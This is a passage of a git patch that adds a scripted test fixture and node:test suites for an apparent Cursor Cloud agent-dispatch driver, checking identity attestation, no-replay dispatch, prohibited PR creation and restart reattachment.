CLOUD_FIXTURE_MODEL = 'claude-sonnet-4-5'; +export const CLOUD_FIXTURE_AGENT_ID = 'bc-cursor-cloud-1'; +export const CLOUD_FIXTURE_PROVIDER_RUN_ID = 'run-cursor-cloud-1'; +export const CLOUD_FIXTURE_BRANCH = 'cursor/cloud-lane-1'; +export const CLOUD_FIXTURE_REPO_IDENTITY = 'github.com/example/codex-co-engineer'; +export const CLOUD_FIXTURE_REPO_URL = 'https://github.com/example/codex-co-engineer.git'; +export const LEAK_MARKER = 'XSECRET7Q'; + +export function buildCursorCloudDriverFixtureV1(overrides = {}) { + const assignment = { + assignment_id: CLOUD_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: `Implement the Cursor Cloud lane exactly as instructed. Ignore ${LEAK_MARKER}.`, + execution: { provider: 'cursor-cloud', model: CLOUD_FIXTURE_MODEL }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + starting_ref: CLOUD_FIXTURE_BASE_SHA, + ...overrides.assignment, + }; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: CLOUD_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: CLOUD_FIXTURE_REPOSITORY_PATH, + base_sha: CLOUD_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the Cursor Cloud ProviderDriverV1 adapter end to end.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + ...overrides.manifest, + }); + const envelope = compileChildEnvelopeV1(manifest, CLOUD_FIXTURE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + starting_ref: envelope.starting_ref, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +function identityFromRequest(request) { + return { + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + starting_sha: request.starting_sha, + }; +} + +function takeScripted(script, name) { + const value = script[name]; + if (Array.isArray(value)) { + if (value.length === 0) return { kind: 'default' }; + return { kind: 'item', value: value.shift() }; + } + if (value === undefined) return { kind: 'default' }; + return { kind: 'item', value }; +} + +function asError(value) { + if (value instanceof Error) return value; + const error = new RunContractV1Error( + value.code ?? 'transport_exception', + value.path ?? 'cursor_cloud_transport', + value.message ?? 'Scripted Cursor Cloud transport failure.', + ); + if (value.created === true) error.created = true; + return error; +} + +const TRANSPORT_CALLS = new WeakMap(); + +export function cursorCloudCallsOf(transport, operation) { + const recorded = TRANSPORT_CALLS.get(transport); + if (recorded === undefined) return []; + return recorded[operation] ?? []; +} + +export function createScriptedCursorCloudTransportV1(script = {}) { + const calls = { + preflight: [], + create: [], + send: [], + observe: [], + cancel: [], + reattach: [], + }; + + function play(name, request, fallback) { + calls[name].push(request); + const taken = takeScripted(script, name); + if (taken.kind === 'item') { + if (typeof taken.value === 'function') return taken.value(request); + if (taken.value && taken.value.throw === true) throw asError(taken.value); + return taken.value; + } + return fallback(); + } + + const transport = { + preflight(request) { + return play('preflight', request, () => ({ + ok: true, + ...identityFromRequest(request), + requested_model: request.model, + effective_model: request.model, + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: request.starting_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + })); + }, + create(request) { + return play('create', request, () => ({ + created: true, + agent_id: request.proposed_agent_id ?? CLOUD_FIXTURE_AGENT_ID, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + send(request) { + return play('send', request, () => ({ + acknowledged: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + observe(request) { + return play('observe', request, () => ({ + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + status: 'running', + head_sha: request.starting_sha, + merge_base_sha: request.starting_sha, + linear_history: true, + events: [{ kind: 'status', bytes: 12 }], + progress: { status: 'running', event_count: 1, elapsed_ms: 20, cursor: '1' }, + cursor: '1', + elapsed_ms: 20, + event_count: 1, + })); + }, + cancel(request) { + return play('cancel', request, () => ({ + outcome: 'cancel_confirmed', + archived: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + reattach(request) { + return play('reattach', request, () => ({ + reattached: true, + agent_id: request.agent_id ?? CLOUD_FIXTURE_AGENT_ID, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + ...identityFromRequest(request), + starting_sha: request.starting_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + })); + }, + }; + TRANSPORT_CALLS.set(transport, calls); + return transport; +} diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs new file mode 100644 index 0000000..ef33fad --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -0,0 +1,402 @@ +// Runtime tests for the P21 Cursor Cloud SDK ProviderDriverV1 adapter: +// injected transport sequences for preflight identity, create/send +// confirmation, dispatch uncertainty, and no automatic PR creation. +// This is not live Cursor Cloud qualification. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { + CURSOR_CLOUD_CAPABILITY_REVISION, + CURSOR_CLOUD_DETAIL_CODES, + CURSOR_CLOUD_DRIVER_SCHEMA_ID, + CURSOR_CLOUD_PROVIDER_SLOT, + CURSOR_CLOUD_TRANSPORT_OPERATIONS, + assertCursorCloudTransportV1, + bindCursorCloudDriverV1, + createCursorCloudDriverV1, + cursorCloudDriverDeclarationV1, + describeCursorCloudDriverV1, +} from '../mcp/v3/cursor-cloud-driver.mjs'; +import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; +import { + DRIVER_OPERATION_SCHEMA_IDS, + PROVIDER_DRIVER_VERSION, + assertCapabilityRequirementV1, + assertProviderDriverV1, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CLOUD_FIXTURE_AGENT_ID, + CLOUD_FIXTURE_BRANCH, + CLOUD_FIXTURE_MODEL, + CLOUD_FIXTURE_PROVIDER_RUN_ID, + CLOUD_FIXTURE_REPO_IDENTITY, + CLOUD_FIXTURE_REPO_URL, + LEAK_MARKER, + buildCursorCloudDriverFixtureV1, + createScriptedCursorCloudTransportV1, + cursorCloudCallsOf, +} from './fixtures/r1-cursor-cloud-driver-fixtures.mjs'; + +const fixture = buildCursorCloudDriverFixtureV1(); + +function expectCode(fn, code, message) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); +} + +function requestFor(operation, extras = {}, source = fixture) { + return buildDriverOperationRequestV1(operation, source.envelope, extras); +} + +function launchReady(transport = createScriptedCursorCloudTransportV1()) { + const driver = bindCursorCloudDriverV1(transport); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + return { driver, transport }; +} + +function transportCounts(transport) { + return { + preflight: cursorCloudCallsOf(transport, 'preflight').length, + create: cursorCloudCallsOf(transport, 'create').length, + send: cursorCloudCallsOf(transport, 'send').length, + observe: cursorCloudCallsOf(transport, 'observe').length, + cancel: cursorCloudCallsOf(transport, 'cancel').length, + reattach: cursorCloudCallsOf(transport, 'reattach').length, + }; +} + +test('factory surface is closed, frozen, and hard-bound to cursor-cloud', () => { + const transport = createScriptedCursorCloudTransportV1(); + const summary = assertCursorCloudTransportV1(transport); + assert.equal(summary.schema, 'codex-co-engineer.cursor-cloud-transport.v1'); + assert.deepEqual([...summary.operations], [...CURSOR_CLOUD_TRANSPORT_OPERATIONS]); + const driver = createCursorCloudDriverV1(transport); + assertProviderDriverV1(driver); + assert.deepEqual(Object.keys(driver).sort(), ['cancel', 'launch', 'preflight', 'reconcile']); + assert.ok(Object.isFrozen(driver)); + const declaration = cursorCloudDriverDeclarationV1(); + assert.equal(declaration.capability.provider, CURSOR_CLOUD_PROVIDER_SLOT); + assert.equal(declaration.capability.revision, CURSOR_CLOUD_CAPABILITY_REVISION); +}); + +test('the shipped declaration keeps asserting the honest Cursor Cloud posture', () => { + const capability = assertCapabilityRequirementV1(cursorCloudDriverDeclarationV1(), { + artifact_kinds: ['cloud_receipt', 'provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'confirmed_launch', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'remote_provider_managed', + workspace_starting_point: 'pinned_pushed_sha', + }); + assert.equal(capability.provider, 'cursor-cloud'); + assert.deepEqual({ ...cursorCloudDriverDeclarationV1().features }, { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }); +}); + +test('describe reports bounded vocabularies and only false live claims', () => { + const description = describeCursorCloudDriverV1(); + assert.equal(description.schema, CURSOR_CLOUD_DRIVER_SCHEMA_ID); + assert.equal(description.provider, 'cursor-cloud'); + assert.equal(description.create_pr_posture, 'prohibited'); + assert.equal(description.live_qualification, false); + for (const value of Object.values(description.claims)) assert.equal(value, false); + assert.ok(CURSOR_CLOUD_DETAIL_CODES.length >= 16); + assert.equal(new Set(CURSOR_CLOUD_DETAIL_CODES).size, CURSOR_CLOUD_DETAIL_CODES.length); + assert.deepEqual([...description.forbidden ?? description.later_real_cursor_cloud_route.forbidden].sort(), [ + 'cli_fallback_after_send', 'create_pr', 'digest_only_launch', 'merge_or_push', + 'post_intent_retry', 'provider_or_model_substitution', 'same_session_reply', + ].sort()); +}); + +test('preflight is ready on a clean pinned workspace with attested exact model', () => { + const { driver, transport } = launchReady(); + const probe = cursorCloudCallsOf(transport, 'preflight')[0]; + assert.equal(probe.provider, 'cursor-cloud'); + assert.equal(probe.model, CLOUD_FIXTURE_MODEL); + assert.equal(probe.starting_sha, fixture.base_sha); + assert.equal(probe.run_id, fixture.run_id); + assert.equal(probe.assignment_id, fixture.assignment_id); + assert.equal(probe.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); +}); + +test('preflight blocks dirty, missing origin, invisible SHA, unattested model, and base advancement', () => { + const cases = [ + [{ ok: false, detail_code: 'workspace_dirty' }, 'workspace_dirty'], + [{ ok: false, detail_code: 'origin_missing' }, 'origin_missing'], + [{ ok: false, detail_code: 'starting_ref_invisible' }, 'starting_ref_invisible'], + [{ ok: false, detail_code: 'starting_ref_invalid' }, 'starting_ref_invalid'], + [{ ok: false, detail_code: 'base_advanced' }, 'base_advanced'], + [{ ok: false, detail_code: 'model_unattested' }, 'model_unattested'], + ]; + for (const [receipt, code] of cases) { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ...receipt, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: code !== 'workspace_dirty', + starting_ref_visible: code !== 'starting_ref_invisible', + starting_ref_commit: code !== 'starting_ref_invalid', + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_message: 'transport authored leak', + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const result = driver.preflight(requestFor('preflight')); + assert.equal(result.disposition, 'blocked', code); + assert.equal(result.detail_code, code); + assert.doesNotMatch(result.detail_message, /leak/i); + assert.doesNotMatch(result.detail_message, new RegExp(LEAK_MARKER, 'u')); + } +}); + +test('preflight ready requires attested requested and effective model equality', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: 'gpt-5.1-codex', + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const result = driver.preflight(requestFor('preflight')); + assert.equal(result.disposition, 'blocked'); + assert.equal(result.detail_code, 'model_unattested'); +}); + +test('preflight rejects credential-bearing and duplicate identities without dispatch', () => { + const credential = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: true, + auto_create_pr: false, + }], + }); + expectCode(() => bindCursorCloudDriverV1(credential).preflight(requestFor('preflight')), + 'repository_credentials'); + assert.equal(transportCounts(credential).create, 0); + + const duplicate = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: true, + credential_bearing: false, + auto_create_pr: false, + }], + }); + expectCode(() => bindCursorCloudDriverV1(duplicate).preflight(requestFor('preflight')), + 'duplicate_identity'); + assert.equal(transportCounts(duplicate).create, 0); +}); + +test('launch dispatches only after authoritative agent, run, request, and branch identity', () => { + const { driver, transport } = launchReady(); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatched'); + assert.equal(launched.detail_code, undefined); + assert.equal(launched.run_id, fixture.run_id); + assert.equal(launched.assignment_id, fixture.assignment_id); + assert.equal(launched.lane_index, fixture.lane_index); + assert.equal(launched.base_sha, fixture.base_sha); + assert.equal(launched.child_envelope_digest, fixture.child_envelope_digest); + const create = cursorCloudCallsOf(transport, 'create')[0]; + const send = cursorCloudCallsOf(transport, 'send')[0]; + assert.equal(create.auto_create_pr, false); + assert.equal(create.provider, 'cursor-cloud'); + assert.equal(create.starting_sha, fixture.base_sha); + assert.match(send.agent_id, /^bc-[0-9a-f]{32}$/u); + assert.match(send.request_id, /^ccr-[0-9a-f]{32}$/u); + assert.equal(send.envelope_text, fixture.envelope_text); + assert.equal(send.auto_create_pr, false); + assert.doesNotMatch(JSON.stringify(launched), new RegExp(LEAK_MARKER, 'u')); +}); + +test('create always sends auto_create_pr false and never authorizes a PR', () => { + const { transport } = launchReady(); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + driver.launch(requestFor('launch')); + for (const request of cursorCloudCallsOf(transport, 'create')) { + assert.equal(request.auto_create_pr, false); + assert.equal(Object.hasOwn(request, 'create_pr'), false); + } + expectCode( + () => bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: true, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: true, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: true, + }], + })).preflight(requestFor('preflight')), + 'merge_authority_denied', + ); +}); + +test('create exception after intent is dispatch_uncertain and never replayed', () => { + const transport = createScriptedCursorCloudTransportV1({ + create: [{ throw: true, code: 'transport_timeout', message: `timeout ${LEAK_MARKER}` }], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatch_uncertain'); + assert.equal(launched.detail_code, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).send, 0); +}); + +test('send acknowledgement failure after create is dispatch_uncertain', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ + acknowledged: false, + agent_id: CLOUD_FIXTURE_AGENT_ID, + provider_run_id: CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: 'ccr-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', + branch: CLOUD_FIXTURE_BRANCH, + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }], + }); + const driver = bindCursorCloudDriverV1(transport); + driver.preflight(requestFor('preflight')); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatch_uncertain'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('cross-provider envelopes fail closed at the Cursor Cloud slot', () => { + const grokManifest = { + schema: 'codex-co-engineer.run.v1', + run_id: 'grok-not-cloud', + repository: { path: '/opt/codex-co-engineer-cursor-cloud/suite', base_sha: fixture.base_sha }, + objective: 'Wrong provider.', + assignments: [{ + assignment_id: 'grok-lane', + role: 'implement', + access: 'writer', + prompt: 'Do not launch.', + execution: { provider: 'grok', model: 'grok-4' }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report'], + }], + policy: { + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }, + return_contract: { mode: 'verified_decision', include_artifact_refs: true }, + }; + const envelope = compileChildEnvelopeV1(grokManifest, 'grok-lane'); + const driver = bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1()); + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }), 'provider_slot_mismatch'); +}); From 1bd23d9c91fa4bbb986d5fbd9b70a01109718b55 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 02:38:00 +0000 Subject: [PATCH 37/81] feat(cloud): reconcile pushed base agent run and branch identity Cover restart reattach by the exact recorded agent, run, and request identity, invisible starting SHA, duplicate/drifted Cloud identities, and terminal Git/branch/base evidence. Same-session attention stays unresolved and never becomes a replacement run. --- .../test/r1-cursor-cloud-driver.test.mjs | 212 ++++++++++++++++++ 1 file changed, 212 insertions(+) diff --git a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs index ef33fad..b87bbf4 100644 --- a/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-cursor-cloud-driver.test.mjs @@ -17,6 +17,7 @@ import { createCursorCloudDriverV1, cursorCloudDriverDeclarationV1, describeCursorCloudDriverV1, + inspectCursorCloudLaneEvidenceV1, } from '../mcp/v3/cursor-cloud-driver.mjs'; import { childEnvelopeDigestV1 } from '../mcp/v3/identity.mjs'; import { compileChildEnvelopeV1 } from '../mcp/v3/prompt-compiler.mjs'; @@ -400,3 +401,214 @@ test('cross-provider envelopes fail closed at the Cursor Cloud slot', () => { child_envelope_digest: childEnvelopeDigestV1(envelope).digest, }), 'provider_slot_mismatch'); }); + +function identityFields() { + return { + provider: 'cursor-cloud', + model: CLOUD_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + starting_sha: fixture.base_sha, + repository_identity: CLOUD_FIXTURE_REPO_IDENTITY, + }; +} + +function dispatched(driver = bindCursorCloudDriverV1(createScriptedCursorCloudTransportV1())) { + assert.equal(driver.preflight(requestFor('preflight')).disposition, 'ready'); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + return driver; +} + +test('reconcile observes in-progress Cloud identity without claiming extra Git facts', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const observed = driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })); + assert.equal(observed.disposition, 'in_progress'); + assert.equal(observed.detail_code, 'live_progress'); + assert.match(observed.detail_message, /^status=running events=1$/u); + const observe = cursorCloudCallsOf(transport, 'observe')[0]; + assert.equal(observe.starting_sha, fixture.base_sha); + assert.equal(observe.run_id, fixture.run_id); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.branch, CLOUD_FIXTURE_BRANCH); + assert.equal(evidence.git.starting_sha, fixture.base_sha); + assert.equal(evidence.git.head_sha, fixture.base_sha); + assert.equal(evidence.status, 'running'); + assert.equal(Object.hasOwn(evidence, 'tests_passed'), false); + assert.equal(Object.hasOwn(evidence, 'pr_url'), false); +}); + +test('terminal reconcile requires provider status plus independently verifiable Git evidence', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'completed', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const terminal = driver.reconcile(requestFor('reconcile')); + assert.equal(terminal.disposition, 'terminal'); + assert.equal(terminal.detail_code, 'terminal_evidence'); + assert.match(terminal.detail_message, new RegExp(`branch=${CLOUD_FIXTURE_BRANCH}`)); + const evidence = inspectCursorCloudLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.git.merge_base_sha, fixture.base_sha); + assert.equal(evidence.git.linear_history, true); +}); + +test('terminal reconcile fails closed when Git/branch/base evidence is missing', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + status: 'completed', + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'malformed_receipt'); +}); + +test('invisible starting SHA blocks before create and is never launched', () => { + const transport = createScriptedCursorCloudTransportV1({ + preflight: [{ + ok: false, + ...identityFields(), + requested_model: CLOUD_FIXTURE_MODEL, + effective_model: CLOUD_FIXTURE_MODEL, + repository_url: CLOUD_FIXTURE_REPO_URL, + workspace_clean: true, + starting_ref_visible: false, + starting_ref_commit: true, + head_sha: fixture.base_sha, + duplicate_identities: false, + credential_bearing: false, + auto_create_pr: false, + detail_code: 'starting_ref_invisible', + detail_message: 'not pushed', + }], + }); + const driver = bindCursorCloudDriverV1(transport); + const blocked = driver.preflight(requestFor('preflight')); + assert.equal(blocked.disposition, 'blocked'); + assert.equal(blocked.detail_code, 'starting_ref_invisible'); + expectCode(() => driver.launch(requestFor('launch')), 'blocked_lane_denied'); + assert.equal(transportCounts(transport).create, 0); +}); + +test('duplicate or drifted Cloud run identity fails closed and is never substituted', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: 'run-other-cloud', + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'running', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); + assert.equal(transportCounts(transport).create, 1); + assert.equal(transportCounts(transport).send, 1); +}); + +test('restart reattaches only the exact recorded agent, run, and request identity', () => { + const transport = createScriptedCursorCloudTransportV1(); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const send = cursorCloudCallsOf(transport, 'send')[0]; + const restarted = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(restarted.disposition, 'in_progress'); + const reattach = cursorCloudCallsOf(transport, 'reattach')[0]; + assert.equal(reattach.agent_id, send.agent_id); + assert.equal(reattach.provider_run_id, CLOUD_FIXTURE_PROVIDER_RUN_ID); + assert.equal(reattach.request_id, send.request_id); + assert.equal(transportCounts(transport).create, 1); + assert.equal(transportCounts(transport).send, 1); +}); + +test('restart with a different recorded identity never starts a replacement run', () => { + const transport = createScriptedCursorCloudTransportV1({ + reattach: [(request) => ({ + reattached: true, + ...identityFields(), + agent_id: 'bc-other-agent', + provider_run_id: request.provider_run_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + expectCode( + () => driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })), + 'stale_identity_denied', + ); + assert.equal(transportCounts(transport).send, 1); +}); + +test('needs_attention is unresolved evidence and never a same-session reply or new run', () => { + const transport = createScriptedCursorCloudTransportV1({ + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + provider_run_id: request.provider_run_id ?? CLOUD_FIXTURE_PROVIDER_RUN_ID, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'needs_attention', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + linear_history: true, + attention: { question_id: 'q-cloud-1' }, + })], + }); + const driver = dispatched(bindCursorCloudDriverV1(transport)); + const attention = driver.reconcile(requestFor('reconcile')); + assert.equal(attention.disposition, 'unresolved_attention'); + assert.equal(attention.detail_code, 'unresolved_attention'); + assert.match(attention.detail_message, /unsupported/u); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(transportCounts(transport).send, 1); +}); + +test('uncertain dispatch plus lost observation stays dispatch_uncertain without replay', () => { + const transport = createScriptedCursorCloudTransportV1({ + send: [{ throw: true, code: 'transport_lost', message: 'send dropped' }], + observe: [(request) => ({ + ...identityFields(), + agent_id: request.agent_id, + request_id: request.request_id, + branch: CLOUD_FIXTURE_BRANCH, + status: 'lost', + head_sha: fixture.base_sha, + merge_base_sha: fixture.base_sha, + ...(request.provider_run_id ? { provider_run_id: request.provider_run_id } : {}), + })], + }); + const driver = bindCursorCloudDriverV1(transport); + 